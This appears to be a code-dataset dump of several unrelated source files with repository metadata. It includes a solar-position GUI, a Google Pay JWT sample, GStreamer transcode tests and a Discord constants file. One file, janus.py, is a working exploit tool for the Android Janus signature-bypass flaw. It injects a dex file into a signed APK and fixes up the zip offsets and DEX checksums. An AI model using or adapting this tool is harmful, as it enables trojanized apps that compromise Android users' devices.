[ x - math.pi/2 , y ] for x, y, _ in dots ] dots = [ [ center[0] + math.cos(x)*r, center[1] + math.sin(x)*math.cos(y)*r ] for x, y in dots ] # DESENHO DO SOL NA SUA POSIÇÃO sun = [ SUN_DATA.azi - math.pi/2, SUN_DATA.alt ] sun = [ center[0] + math.cos(sun[0])*r, center[1] + math.sin(sun[0])*math.cos(sun[1])*r ] dpg.draw_line( parent = draw_id, tag = id_link+1 , p1 = [center[0] - r, center[1]] , p2 = [center[0] + r, center[1]] , color = COLOR['gray'](155) , thickness = 1 ) dpg.draw_line( parent = draw_id, tag = id_link+2 , p1 = center , p2 = [center[0] + r*math.cos(azi-math.pi/2), center[1] + r*math.sin(azi-math.pi/2)], color = COLOR['orange'](155), thickness = 2 ) dpg.draw_line( parent = draw_id, tag = id_link+3 , p1 = center , p2 = [center[0] + r*math.cos(alt-math.pi/2), center[1] + r*math.sin(alt-math.pi/2)], color = COLOR['gray'](200) , thickness = 2 ) dpg.draw_circle( parent = draw_id, tag = id_link+4 , center = center , radius = r , color = COLOR['white'](200) , fill = COLOR['white'](10 ), thickness = 3 ) dpg.draw_circle( parent = draw_id, tag = id_link+5 , center = center , radius = 3 , color = COLOR['white'](200) , fill = COLOR['white'](255), thickness = 2 ) dpg.draw_text( parent = draw_id, tag = id_link+6 , pos = [center[0] -(r +20), center[1] -10 ] , text = 'W' , color = COLOR['white'](200) , size = 20 ) dpg.draw_text( parent = draw_id, tag = id_link+7 , pos = [center[0] +(r +5) , center[1] -10 ] , text = 'E' , color = COLOR['white'](200) , size = 20 ) dpg.draw_text( parent = draw_id, tag = id_link+8 , pos = [center[0] -10 , center[1] -(r +25)], text = 'N' , color = COLOR['white'](255) , size = 20 ) dpg.draw_polyline( parent = draw_id, tag = id_link+9 , points = dots , color = COLOR['red'](155) , thickness = 2 , closed = False ) for n, p in enumerate(dots): dpg.draw_circle( parent = draw_id, tag = id_link+(12+n) , center = p , radius = 2 , color = [n*4, 255-n*2, n*2, 255] ) dpg.draw_line( parent = draw_id, tag = id_link+10 , p1 = center, p2 = sun, color = COLOR['yellow'](200) , thickness = 2 ) dpg.draw_circle( parent = draw_id, tag = id_link+11 , center = sun , radius = 10 , color = COLOR['yellow'](155) , fill = COLOR['yellow'](255) ) def update_sun_trajetory( draw_id, parent_id, all_day = False ): # Ponto central, dimensões da tela e Raio width, height = dpg.get_item_width( draw_id ), dpg.get_item_height( draw_id ) w, h = dpg.get_item_width( 'mainWindow' ) , dpg.get_item_height('mainWindow' ) center = [ width//2, height//2 ] r = width//2 - 20 if width+20 <= height else height//2 - 20 id_link = draw_id*100 # DESENHO DA LINHA DE NASCER DO SOL E POR DO SOL azi = SUN_DATA.get_pos_from_date( SUN_DATA.rising )[1] alt = SUN_DATA.get_pos_from_date( SUN_DATA.sunset )[1] # [ alt , azi ] # PEGA OS ANGULOS NOS PONTOS DA TRAJETÓRIA DO SOL dots = SUN_DATA.trajetory(100, all_day ) dots = [ [ x - math.pi/2 , y ] for x, y, _ in dots ] dots = [ [ center[0] + math.cos(x)*r, center[1] + math.sin(x)*math.cos(y)*r ] for x, y in dots ] # DESENHO DO SOL NA SUA POSIÇÃO sun = [ SUN_DATA.azi - math.pi/2, SUN_DATA.alt ] sun = [ center[0] + math.cos(sun[0])*r, center[1] + math.sin(sun[0])*math.cos(sun[1])*r ] # DESENHO ESTÁTICO dpg.configure_item( id_link+1 , p1 = [center[0] - r, center[1]], p2 = [center[0] + r, center[1]] ) dpg.configure_item( id_link+2 , p1 = center , p2 = [center[0] + r*math.cos(azi-math.pi/2), center[1] + r*math.sin(azi-math.pi/2)] ) dpg.configure_item( id_link+3 , p1 = center , p2 = [center[0] + r*math.cos(alt-math.pi/2), center[1] + r*math.sin(alt-math.pi/2)] ) dpg.configure_item( id_link+4 , center = center , radius = r ) dpg.configure_item( id_link+5 , center = center , radius = 3 ) dpg.configure_item( id_link+6 , pos = [center[0] - (r + 20), center[1] -10 ] ) dpg.configure_item( id_link+7 , pos = [center[0] + (r + 5), center[1] -10 ] ) dpg.configure_item( id_link+8 , pos = [center[0] - 10 , center[1] - (r + 25) ] ) dpg.configure_item( id_link+9 , points = dots ) dpg.configure_item( id_link+10, p1 = center , p2 = sun ) dpg.configure_item( id_link+11, center = sun ) for n, p in enumerate(dots): dpg.configure_item( id_link+(12+n) , center = p ) def att_sunpos_graphs( ): last_date = SUN_DATA.date if not dpg.get_value( HORA_MANUAL ): SUN_DATA.set_date( dt.datetime.utcnow() ) else: SUN_DATA.set_date( dt.datetime( dpg.get_value(YEAR), dpg.get_value(MONTH), dpg.get_value(DAY), dpg.get_value(HOUR), dpg.get_value(MINUTE), dpg.get_value(SECOND) ) ) azi_alt = SUN_DATA.trajetory( 50, all_day = False ) SUN_DATA.set_date( last_date ) AZI = [] ALT = [] PTI = [] for azi, alt, tim in azi_alt: AZI.append( math.degrees(azi - math.pi) if azi > math.pi else math.degrees(azi + math.pi) ) ALT.append( math.degrees(alt) if alt < math.pi else 0 ) PTI.append( int( dt.datetime.timestamp( tim )) ) azi, alt = [math.degrees(SUN_DATA.azi)], [math.degrees(SUN_DATA.alt)] time_scrt = [math.degrees(dt.datetime.timestamp( last_date ))] SUN_DATA.set_date( last_date ) dpg.configure_item (22_13, x = PTI , y = AZI ) dpg.configure_item (22_14, x = time_scrt, y = azi ) dpg.set_axis_limits(22_11, ymin = PTI[0] , ymax = PTI[-1] ) dpg.configure_item (22_23, x = PTI , y = ALT ) dpg.configure_item (22_24, x = time_scrt, y = alt ) dpg.set_axis_limits(22_21, ymin = PTI[0] , ymax = PTI[-1] ) # MAIN FUNCTIONS def init_visualizacaoGeral( windows : dict ): # POSIÇÂO DO SOL with dpg.window( label = 'Posição solar' , tag = 21_0, pos = [50,50], width = 500 , height = 500 , no_move = True, no_resize = True, no_collapse = True, no_close = True, no_title_bar= True ) as Posicao_sol_VG: windows["Visualizacao geral"].append( Posicao_sol_VG ) w, h = dpg.get_item_width(2_1_0), dpg.get_item_height(2_1_0) dpg.add_drawlist ( tag = 21_1_0, width = w-20 , height = h-50, label = 'Solar') draw_sun_trajetory ( draw_id = 2_1_1_0, parent_id = 2_1_0 ) # VISOR DAS POSIÇÔES DO SOL - USAR GRÀFICOS - MESMO DO TOOLTIP with dpg.window( label = 'Atuação' , tag = 22_0, no_move = True , no_resize = True, no_collapse = True, no_close = True ) as Atuacao_VG: windows["Visualizacao geral"].append( Atuacao_VG ) dpg.add_text('Área para a atução da posição dos paineis solares') with dpg.group( horizontal = True ): with dpg.plot( tag = 2_2_1_0, label = 'Azimute do dia', height = 312, width = 478, anti_aliased = True ): dpg.add_plot_legend() dpg.add_plot_axis( dpg.mvXAxis, label = 'Hora [h]' , tag = 2_2_1_1, parent = 2_2_1_0, time = True, no_tick_labels = True ) # X dpg.add_plot_axis( dpg.mvYAxis, label = 'Angulo [º]', tag = 2_2_1_2, parent = 2_2_1_0 ) # Y dpg.set_axis_limits_auto( 2_2_1_1 ) dpg.set_axis_limits ( 2_2_1_2, -5, 370 ) dpg.add_line_series ( [], [], tag = 2_2_1_3, label = 'Rota diária', parent = 2_2_1_2 ) dpg.add_scatter_series ( [], [], tag = 2_2_1_4, label = 'Ponto atual', parent = 2_2_1_2 ) with dpg.plot( tag = 2_2_2_0, label = 'Altitude do dia', height = 312, width = 478, anti_aliased = True ): dpg.add_plot_axis( dpg.mvXAxis, label = 'Hora [h]' , tag = 2_2_2_1, parent = 2_2_2_0, time = True, no_tick_labels = True ) # X dpg.add_plot_axis( dpg.mvYAxis, label = 'Angulo [º]', tag = 2_2_2_2, parent = 2_2_2_0 ) # Y dpg.set_axis_limits_auto( 2_2_2_1 ) dpg.set_axis_limits ( 2_2_2_2, -5, 100 ) dpg.add_plot_legend() dpg.add_line_series ( [], [], tag = 2_2_2_3, label = 'Rota diária', parent = 2_2_2_2 ) dpg.add_scatter_series ( [], [], tag = 2_2_2_4, label = 'Ponto atual', parent = 2_2_2_2 ) att_sunpos_graphs( ) # CONFIGURAÇÔES DE TEMPO - USAR WINDOW NO HOUR_MANUAL with dpg.window( label = 'Painel de log' , tag = 23_0, no_move = True , no_resize = True, no_collapse = True, no_close = True, no_title_bar = True ) as Painel_log_VG: windows["Visualizacao geral"].append( Painel_log_VG ) dpg.add_text( default_value = 'Informações gerais do sistema') with dpg.child_window( tag = 23_00, autosize_x = True, height = 170, menubar = True): with dpg.menu_bar( tag = 23_01, label = 'menubar para datetime',): dpg.add_menu_item( tag = 23_02, label = 'Hora automática', callback = lambda s, d, u : dpg.set_value(HORA_MANUAL, False), shortcut = 'A data e hora de calculo é definida automaticamente de acordo com a hora do controlador local') dpg.add_menu_item( tag = 23_03, label = 'Hora manual' , callback = lambda s, d, u : dpg.set_value(HORA_MANUAL, True ), shortcut = 'A data e hora de calculo é definida pela entrada do operador no supervisório' ) with dpg.child_window( tag = 23_10): #Informações gerais do sistema - Automático dpg.add_text( default_value = 'Hora automática') dpg.add_drag_floatx( tag = 23_1, label = 'Ano/Mes/Dia Auto' , size = 3, format = '%.0f', speed = 0.1 , min_value = 1 , max_value = 3000 , no_input = True ) dpg.add_drag_floatx( tag = 23_2, label = 'Hora/Min/Sec Auto' , size = 3, format = '%.0f', speed = 0.1 , no_input = True ) dpg.add_drag_int ( tag = 23_3, label = 'Valor no dia' , format = '%.0f' , speed = 0.1 , min_value = 0 , max_value = 26*3600, no_input = True, source = TOT_SECONDS, enabled = False) dpg.add_drag_int ( tag = 23_4, label = 'Dia Juliano' , format = '%.0f' , speed = 0.1 , min_value = 0 , max_value = 366 , no_input = True, source = JULIANSDAY , enabled = False) with dpg.child_window( tag = 23_20): # Informações gerais do sistema - Manual dpg.add_text( default_value = 'Hora manual') dpg.add_input_floatx( tag = 23_6, label = 'Ano/Mes/Dia Manual' , size = 3, default_value = [2020, 12, 25], format='%.0f', min_value = 1, max_value = 3000 ) dpg.add_input_floatx( tag = 23_7, label = 'Hora/Min/Sec Manual', size = 3, default_value = [20, 30, 10] , format='%.0f', min_value = 1, max_value = 60 ) dpg.add_drag_int ( tag = 23_8, label = 'Valor no dia' , format = '%.0f', speed = 0.1 , min_value = 0, max_value = 24*3600, no_input = True, source = TOT_SECONDS, enabled = False ) dpg.add_drag_int ( tag = 23_9, label = 'Dia Juliano' , format = '%.0f', speed = 0.1 , min_value = 0, max_value = 366 , no_input = True, source = JULIANSDAY , enabled = False ) dpg.hide_item( 23_20 ) if dpg.get_value(HORA_MANUAL) == False else dpg.hide_item( 2_3_1_0 ) dpg.add_spacer( height = 5 ) with dpg.child_window( tag = 23_30, autosize_x = True, autosize_y = True ): # Definições de longitude e latitude local with dpg.child_window ( height = 90 ): dpg.add_text ( default_value = 'Definições de longitude e latitude local') dpg.add_input_float( label = 'Latitude' , tag = 2_3_10, min_value = -90, max_value = 90, format = '%3.8f', indent=0.01, source = LATITUDE , callback = lambda sender, data, user : SUN_DATA.set_latitude( data ) ) dpg.add_spacer ( ) dpg.add_input_float( label = 'Longitude', tag = 2_3_11, min_value = -90, max_value = 90, format = '%3.8f', indent=0.01, source = LONGITUDE, callback = lambda sender, data, user : SUN_DATA.set_longitude( data ) ) dpg.add_spacer( height = 5 ) with dpg.child_window( height = 150 ): # Informações do sol dpg.add_text ( default_value = 'Informacoes do sol') dpg.add_drag_float ( label = 'Azimute' , tag = 23_12, format = '%4.2f', speed = 1, no_input = True, source = AZIMUTE ) dpg.add_spacer ( ) dpg.add_drag_float ( label = 'Altitude' , tag = 23_13, format = '%4.2f', speed = 1, no_input = True, source = ZENITE ) dpg.add_spacer ( ) dpg.add_drag_float ( label = 'Elevação (m)' , tag = 23_14, format = '%4.0f', speed = 1, no_input = True, source = ALTITUDE ) dpg.add_spacer ( ) dpg.add_drag_floatx( label = 'Horas de sol' , tag = 23_15, size = 3, format = '%.0f', no_input = True ) dpg.add_spacer( height = 5 ) with dpg.child_window( height = 200 ): # Posições de interesse dpg.add_text ( default_value = "Posicoes de interesse", ) dpg.add_text ( default_value = 'Nascer do sol (hh/mm/ss)') dpg.add_drag_floatx( tag = 2_3_16, size = 3, format='%.0f', speed=1, no_input= True, callback = lambda sender, data, user : dpg.set_value( H_SUNRISE , data.extend([0])) ) dpg.add_spacer ( ) dpg.add_text ( default_value = 'Culminante (hh/mm/ss)' ) dpg.add_drag_floatx( tag = 2_3_17, size = 3, format='%.0f', speed=1, no_input= True, callback = lambda sender, data, user : dpg.set_value( H_SUNSET , data.extend([0])) ) dpg.add_spacer ( ) dpg.add_text ( default_value = 'Por do sol (hh/mm/ss)' ) dpg.add_drag_floatx( tag = 2_3_18, size = 3, format='%.0f', speed=1, no_input= True, callback = lambda sender, data, user : dpg.set_value( H_CULMINANT, data.extend([0])) ) dpg.hide_item( 21_0 ) dpg.hide_item( 22_0 ) dpg.hide_item( 23_0 ) def resize_visualizacaoGeral( ): # get the main_window dimension w , h = dpg.get_item_width( 'mainWindow' ), dpg.get_item_height( 'mainWindow' ) dpg.configure_item( 21_0 , width = w*2/3 , height = h*3/5 , pos = [10 , 25 ] ) # DRAWING dpg.configure_item( 22_0 , width = w*2/3 , height = (h*2/5)-35 , pos = [10 , (h*3/5)+30 ] ) # SUNPATH dpg.configure_item( 23_0 , width = w/3 -20 , height = h - 30 , pos = [ w*2/3 +15, 25 ] ) # LOG # get the child_window_window dimension w1, h1 = dpg.get_item_width( 21_0 ), dpg.get_item_height( 21_0 ) dpg.configure_item( 21_10 , width = w1-20 , height = h1-50 ) # DRAWLIST update_sun_trajetory( draw_id = 2_1_1_0 , parent_id = 2_1_0 ) # DRAWING # SUNPATH ATT CHILD_WINDOW dpg.configure_item( 22_10 , width = (w/3)-15 , height = (h*2/5)*0.8 , pos = [ 5 , 20 ] ) # GIRO dpg.configure_item( 22_20 , width = (w/3)-15 , height = (h*2/5)*0.8 , pos = [ (w*2/3)//2 +5, 20 ] ) # ELEVAÇÃO def render_visualizacaoGeral( ): global TOT_SECONDS , JULIANSDAY, HORA_MANUAL global HOUR, MINUTE, SECOND global YEAR, MONTH , DAY # Horário automático if dpg.get_value( HORA_MANUAL ) == False : SUN_DATA.update_date() dpg.set_value( 23_1, value = [ dpg.get_value(YEAR), dpg.get_value(MONTH) , dpg.get_value(DAY) ] ) # DIA ATUTOMÁTICO dpg.set_value( 23_2, value = [ dpg.get_value(HOUR), dpg.get_value(MINUTE), dpg.get_value(SECOND)] ) # HORA AUTOMÁTICA dpg.hide_item( 23_2_0 ) dpg.show_item( 23_1_0 ) # Horário manual else: yearm, monthm, daym = dpg.get_value( 23_6 )[:-1] hourm, minutem, secondm = dpg.get_value( 23_7 )[:-1] try: data = dt.datetime( int(yearm), int(monthm), int(daym), int(hourm), int(minutem), int(secondm) ) dt.datetime.timestamp( data ) SUN_DATA.set_date( data ) SUN_DATA.update() dpg.set_value(YEAR , yearm ) dpg.set_value(MONTH , monthm ) dpg.set_value(DAY , daym ) dpg.set_value(HOUR , hourm ) dpg.set_value(MINUTE, minutem) dpg.set_value(SECOND, secondm) except: pass # Total de segundos no dia dpg.set_value( 23_9, SUN_DATA.dia_juliano ) # DIA JULIANO dpg.set_value( 23_8, SUN_DATA.total_seconds) # TOTAL DE SEGUNDOS dpg.hide_item( 23_1_0 ) dpg.show_item( 23_2_0 ) # Setar o Azimute, Altitude e Elevação dpg.set_value( 23_12, math.degrees( SUN_DATA.azi) ) # AZIMUTE dpg.set_value( 23_13, math.degrees( SUN_DATA.alt) ) # ALTITUDE dpg.set_value( 23_14, SUN_DATA.altitude ) # ELEVAÇÃO # Seta as horas do sol calculando as horas minutos e segundos de segundos totais diff_sunlight = (SUN_DATA.sunset - SUN_DATA.rising).seconds dpg.set_value( 2_3_15, [diff_sunlight//3600, (diff_sunlight//60)%60 , diff_sunlight%60 ] ) # Setar as informações de Nascer do sol, Culminante (ponto mais alto) e Por do sol dpg.set_value( 23_16, [ SUN_DATA.rising.hour+SUN_DATA.utc_local , SUN_DATA.rising.minute , SUN_DATA.rising.second ] ) # 'Nascer do sol' dpg.set_value( 23_17, [ SUN_DATA.transit.hour+SUN_DATA.utc_local, SUN_DATA.transit.minute, SUN_DATA.transit.second ] ) # 'Culminante' dpg.set_value( 23_18, [ SUN_DATA.sunset.hour+SUN_DATA.utc_local , SUN_DATA.sunset.minute , SUN_DATA.sunset.second ] ) # 'Por do sol' update_sun_trajetory( draw_id = 21_1_0 , parent_id = 21_0 ) att_sunpos_graphs()

70.989691

267

0.554265

0

2,651

0.127932

429cb5fb216dbdf5ec9ff71a33c2d298dd2c8210

4,071

py

Python

python/jwt.py

angelbarranco/passes-rest-samples

93f54e3e7b651bcfd1b269e2bcd5d9bf9d50ad8c

[ "Apache-2.0" ]

95

2019-06-05T12:45:15.000Z

2022-03-30T14:02:27.000Z

python/jwt.py

angelbarranco/passes-rest-samples

93f54e3e7b651bcfd1b269e2bcd5d9bf9d50ad8c

[ "Apache-2.0" ]

21

2019-06-18T15:41:41.000Z

2022-03-04T15:29:57.000Z

python/jwt.py

angelbarranco/passes-rest-samples

93f54e3e7b651bcfd1b269e2bcd5d9bf9d50ad8c

[ "Apache-2.0" ]

45

2019-06-13T20:57:11.000Z

2022-03-21T13:43:31.000Z

""" Copyright 2019 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import config import time # for jwt signing. see https://google-auth.readthedocs.io/en/latest/reference/google.auth.jwt.html#module-google.auth.jwt from google.auth import crypt as cryptGoogle from google.auth import jwt as jwtGoogle ############################# # # class that defines JWT format for a Google Pay Pass. # # to check the JWT protocol for Google Pay Passes, check: # https://developers.google.com/pay/passes/reference/s2w-reference#google-pay-api-for-passes-jwt # # also demonstrates RSA-SHA256 signing implementation to make the signed JWT used # in links and buttons. Learn more: # https://developers.google.com/pay/passes/guides/get-started/implementing-the-api/save-to-google-pay # ############################# class googlePassJwt: def __init__(self): self.audience = config.AUDIENCE self.type = config.JWT_TYPE self.iss = config.SERVICE_ACCOUNT_EMAIL_ADDRESS self.origins = config.ORIGINS self.iat = int(time.time()) self.payload = {} # signer for RSA-SHA256. Uses same private key used in OAuth2.0 self.signer = cryptGoogle.RSASigner.from_service_account_file(config.SERVICE_ACCOUNT_FILE) def addOfferClass(self, resourcePayload): self.payload.setdefault('offerClasses',[]) self.payload['offerClasses'].append(resourcePayload) def addOfferObject(self, resourcePayload): self.payload.setdefault('offerObjects',[]) self.payload['offerObjects'].append(resourcePayload) def addLoyaltyClass(self, resourcePayload): self.payload.setdefault('loyaltyClasses',[]) self.payload['loyaltyClasses'].append(resourcePayload) def addLoyaltyObject(self, resourcePayload): self.payload.setdefault('loyaltyObjects',[]) self.payload['loyaltyObjects'].append(resourcePayload) def addGiftcardClass(self, resourcePayload): self.payload.setdefault('giftCardClasses',[]) self.payload['giftCardClasses'].append(resourcePayload) def addGiftcardObject(self, resourcePayload): self.payload.setdefault('giftCardObjects',[]) self.payload['giftCardObjects'].append(resourcePayload) def addEventTicketClass(self, resourcePayload): self.payload.setdefault('eventTicketClasses',[]) self.payload['eventTicketClasses'].append(resourcePayload) def addEventTicketObject(self, resourcePayload): self.payload.setdefault('eventTicketObjects',[]) self.payload['eventTicketObjects'].append(resourcePayload) def addFlightClass(self, resourcePayload): self.payload.setdefault('flightClasses',[]) self.payload['flightClasses'].append(resourcePayload) def addFlightObject(self, resourcePayload): self.payload.setdefault('flightObjects',[]) self.payload['flightObjects'].append(resourcePayload) def addTransitClass(self, resourcePayload): self.payload.setdefault('transitClasses',[]) self.payload['transitClasses'].append(resourcePayload) def addTransitObject(self, resourcePayload): self.payload.setdefault('transitObjects',[]) self.payload['transitObjects'].append(resourcePayload) def generateUnsignedJwt(self): unsignedJwt = {} unsignedJwt['iss'] = self.iss unsignedJwt['aud'] = self.audience unsignedJwt['typ'] = self.type unsignedJwt['iat'] = self.iat unsignedJwt['payload'] = self.payload unsignedJwt['origins'] = self.origins return unsignedJwt def generateSignedJwt(self): jwtToSign = self.generateUnsignedJwt() signedJwt = jwtGoogle.encode(self.signer, jwtToSign) return signedJwt

35.4

121

0.747237

2,751

0.675755

0

1,680

0.412675

429ce61086d20c4c1d15d20e5249184bf0cc61e3

4,714

py

Python

janus.py

caxmd/januus

79208e2450b4c5b1c81346b99814462f6d083b66

[ "MIT" ]

83

2017-12-11T03:33:10.000Z

2022-02-17T15:13:54.000Z

janus.py

caxmd/januus

79208e2450b4c5b1c81346b99814462f6d083b66

[ "MIT" ]

3

2017-12-25T16:15:44.000Z

2018-06-17T11:06:08.000Z

janus.py

caxmd/januus

79208e2450b4c5b1c81346b99814462f6d083b66

[ "MIT" ]

25

2017-12-11T03:51:12.000Z

2022-02-17T15:13:57.000Z

# Includes some code derived from the cpython project. # Source: https://github.com/python/cpython/blob/master/Lib/zipfile.py # Excuse the mess. import argparse from hashlib import sha1 import os import struct from zipfile import _EndRecData, ZipFile from zlib import adler32 _ECD_SIGNATURE = 0 _ECD_DISK_NUMBER = 1 _ECD_DISK_START = 2 _ECD_ENTRIES_THIS_DISK = 3 _ECD_ENTRIES_TOTAL = 4 _ECD_SIZE = 5 _ECD_OFFSET = 6 _ECD_COMMENT_SIZE = 7 structEndArchive = b"<4s4H2LH" stringEndArchive = b"PK\005\006" structCentralDir = "<4s4B4HL2L5H2L" stringCentralDir = b"PK\001\002" _DEX_MAGIC = 0 _DEX_CHECKSUM = 1 _DEX_SIGNATURE = 2 _DEX_FILE_SIZE = 3 structDexHeader = "<8sI20sI" def get_centdirs(filelist): arr = b"" for zinfo in filelist: dt = zinfo.date_time dosdate = (dt[0] - 1980) << 9 | dt[1] << 5 | dt[2] dostime = dt[3] << 11 | dt[4] << 5 | (dt[5] // 2) file_size = zinfo.file_size compress_size = zinfo.compress_size header_offset = zinfo.header_offset extra_data = zinfo.extra min_version = 0 extract_version = max(min_version, zinfo.extract_version) create_version = max(min_version, zinfo.create_version) filename, flag_bits = zinfo._encodeFilenameFlags() centdir = struct.pack(structCentralDir, stringCentralDir, create_version, zinfo.create_system, extract_version, zinfo.reserved, flag_bits, zinfo.compress_type, dostime, dosdate, zinfo.CRC, compress_size, file_size, len(filename), len(extra_data), len(zinfo.comment), 0, zinfo.internal_attr, zinfo.external_attr, header_offset) arr += centdir arr += filename arr += extra_data arr += zinfo.comment return arr def pack_endrec(endrec): return struct.pack( structEndArchive, endrec[_ECD_SIGNATURE], endrec[_ECD_DISK_NUMBER], endrec[_ECD_DISK_START], endrec[_ECD_ENTRIES_THIS_DISK], endrec[_ECD_ENTRIES_TOTAL], endrec[_ECD_SIZE], endrec[_ECD_OFFSET], endrec[_ECD_COMMENT_SIZE] ) def get_endrec(file): pos = file.tell() endrec = _EndRecData(file) file.seek(pos) return endrec def sort_info(info): if info.filename.startswith("META-INF"): return "Z" else: return "A" def get_dex_header(data): return list(struct.unpack(structDexHeader, data[0:0x24])) def pack_dex_header(header): return struct.pack( structDexHeader, header[_DEX_MAGIC], header[_DEX_CHECKSUM], header[_DEX_SIGNATURE], header[_DEX_FILE_SIZE] ) def make_dex_header(header, file_data, final_size): header[_DEX_FILE_SIZE] = final_size packed_header = pack_dex_header(header) signature = sha1() signature.update(packed_header[0x20:] + file_data) header[_DEX_SIGNATURE] = signature.digest() header[_DEX_CHECKSUM] = adler32( header[_DEX_SIGNATURE] + packed_header[0x20:] + file_data ) return pack_dex_header(header) parser = argparse.ArgumentParser(description="Creates an APK exploiting the Janus vulnerability.") parser.add_argument("apk_in", metavar="original-apk", type=str, help="the source apk to use") parser.add_argument("dex_in", metavar="dex-file", type=str, help="the dex file to prepend") parser.add_argument("apk_out", metavar="output-apk", type=str, help="the file to output to") args = parser.parse_args() with ZipFile(args.apk_in, "r") as apk_in_zip, open(args.apk_in, "rb") as apk_in, open(args.dex_in, "rb") as dex_in, open(args.apk_out, "wb") as apk_out: dex_data = dex_in.read() dex_header = get_dex_header(dex_data) dex_size = os.path.getsize(args.dex_in) orig_endrec = get_endrec(apk_in) new_endrec = get_endrec(apk_in) new_endrec[_ECD_OFFSET] = new_endrec[_ECD_OFFSET] + dex_size final_size = os.path.getsize(args.apk_in) + dex_size apk_in_zip.filelist = sorted(apk_in_zip.filelist, key=sort_info) infolist = apk_in_zip.infolist() for info in infolist: info.date_time = (2042, 14, 3, 0, 62, 18) info.header_offset = info.header_offset + dex_size out_bytes = b"" out_bytes += dex_data[0x24:] out_bytes += apk_in.read()[:orig_endrec[_ECD_OFFSET]] out_bytes += get_centdirs(infolist) out_bytes += pack_endrec(new_endrec) out_bytes = make_dex_header(dex_header, out_bytes, final_size) + out_bytes apk_out.write(out_bytes)

31.218543

152

0.655282

0

426

0.090369

429cf2c16bb83449ca0bd5d3338a9cac6d753159

74

py

Python

constants.py

phy1um/tmtc-discord-bot

7d01cd4c1a78dc0b8aa2bb703c8970ff7bb27f92

[ "MIT" ]

null

constants.py

phy1um/tmtc-discord-bot

7d01cd4c1a78dc0b8aa2bb703c8970ff7bb27f92

[ "MIT" ]

null

constants.py

phy1um/tmtc-discord-bot

7d01cd4c1a78dc0b8aa2bb703c8970ff7bb27f92

[ "MIT" ]

null

ANNOUNCEMENT_ROLE = "941805571915513857" GUILD_ID = "878926572235665418"

18.5

40

0.824324

0

40

0.540541

429eedb68c601680755c430f3d242a23508963a5

3,352

py

Python

test/gst-msdk/transcode/mpeg2.py

haribommi/vaapi-fits

cbf2a463bd3b2c9af5c45a1376b0bde2b703ed23

[ "BSD-3-Clause" ]

null

test/gst-msdk/transcode/mpeg2.py

haribommi/vaapi-fits

cbf2a463bd3b2c9af5c45a1376b0bde2b703ed23

[ "BSD-3-Clause" ]

null

test/gst-msdk/transcode/mpeg2.py

haribommi/vaapi-fits

cbf2a463bd3b2c9af5c45a1376b0bde2b703ed23

[ "BSD-3-Clause" ]

null

## ### Copyright (C) 2018-2019 Intel Corporation ### ### SPDX-License-Identifier: BSD-3-Clause ### from ....lib import * from ..util import * from .transcoder import TranscoderTest spec = load_test_spec("mpeg2", "transcode") class to_avc(TranscoderTest): @slash.requires(*have_gst_element("msdkh264enc")) @slash.requires(*have_gst_element("msdkh264dec")) @slash.requires(*have_gst_element("msdkmpeg2dec")) @slash.parametrize(*gen_transcode_1to1_parameters(spec, "avc", "hwhw")) @platform_tags(set(MPEG2_DECODE_PLATFORMS) & set(AVC_ENCODE_PLATFORMS)) def test_hwhw_1to1(self, case): vars(self).update(spec[case].copy()) vars(self).update( dstextension = 'h264', case = case, mode = 'hwhw', trans_type = 'mpeg2_to_h264', gsttrans = 'mpegvideoparse ! msdkmpeg2dec ! msdkh264enc ! video/x-h264,profile=main ! h264parse', gstdecoder1 = 'mpegvideoparse ! msdkmpeg2dec', gstdecoder2 = 'h264parse ! msdkh264dec', ) self.transcode_1to1() class to_hevc(TranscoderTest): @slash.requires(*have_gst_element("msdkh265enc")) @slash.requires(*have_gst_element("msdkh265dec")) @slash.requires(*have_gst_element("msdkmpeg2dec")) @slash.parametrize(*gen_transcode_1to1_parameters(spec, "hevc", "hwhw")) @platform_tags(set(MPEG2_DECODE_PLATFORMS) & set(HEVC_ENCODE_8BIT_PLATFORMS)) def test_hwhw_1to1(self, case): vars(self).update(spec[case].copy()) vars(self).update( dstextension = 'h265', case = case, mode = 'hwhw', trans_type = 'mpeg2_to_h265', gsttrans = 'mpegvideoparse ! msdkmpeg2dec ! msdkh265enc ! video/x-h265,profile=main ! h265parse', gstdecoder1 = 'mpegvideoparse ! msdkmpeg2dec', gstdecoder2 = 'h265parse ! msdkh265dec', ) self.transcode_1to1() class to_mjpeg(TranscoderTest): @slash.requires(*have_gst_element("msdkmjpegenc")) @slash.requires(*have_gst_element("msdkmjpegdec")) @slash.requires(*have_gst_element("msdkmpeg2dec")) @slash.parametrize(*gen_transcode_1to1_parameters(spec, "mjpeg", "hwhw")) @platform_tags(set(MPEG2_DECODE_PLATFORMS) & set(JPEG_ENCODE_PLATFORMS)) def test_hwhw_1to1(self, case): vars(self).update(spec[case].copy()) vars(self).update( dstextension = 'mjpeg', case = case, mode = 'hwhw', trans_type = 'mpeg2_to_mjpeg', gsttrans = 'mpegvideoparse ! msdkmpeg2dec ! msdkmjpegenc ! jpegparse', gstdecoder1 = 'mpegvideoparse ! msdkmpeg2dec', gstdecoder2 = 'jpegparse ! msdkmjpegdec', ) self.transcode_1to1() class to_mpeg2(TranscoderTest): @slash.requires(*have_gst_element("msdkmpeg2enc")) @slash.requires(*have_gst_element("msdkmpeg2dec")) @slash.parametrize(*gen_transcode_1to1_parameters(spec, "mpeg2", "hwhw")) @platform_tags(set(MPEG2_DECODE_PLATFORMS) & set(MPEG2_ENCODE_PLATFORMS)) def test_hwhw_1to1(self, case): vars(self).update(spec[case].copy()) vars(self).update( dstextension = 'm2v', case = case, mode = 'hwhw', trans_type = 'mpeg2_to_mpeg2', gsttrans = 'mpegvideoparse ! msdkmpeg2dec ! msdkmpeg2enc ! mpegvideoparse', gstdecoder1 = 'mpegvideoparse ! msdkmpeg2dec', gstdecoder2 = 'mpegvideoparse ! msdkmpeg2dec', ) self.transcode_1to1()

38.976744

107

0.683174

3,118

0.930191

0

2,985

0.890513

0

943

0.281325

42a05049df648190833a6dde333b459a1ed6a363

10,220

py

Python

rusel/base/context.py

ruslan-ok/ruslan

fc402e53d2683581e13f4d6c69a6f21e5c2ca1f8

[ "MIT" ]

null

rusel/base/context.py

ruslan-ok/ruslan

fc402e53d2683581e13f4d6c69a6f21e5c2ca1f8

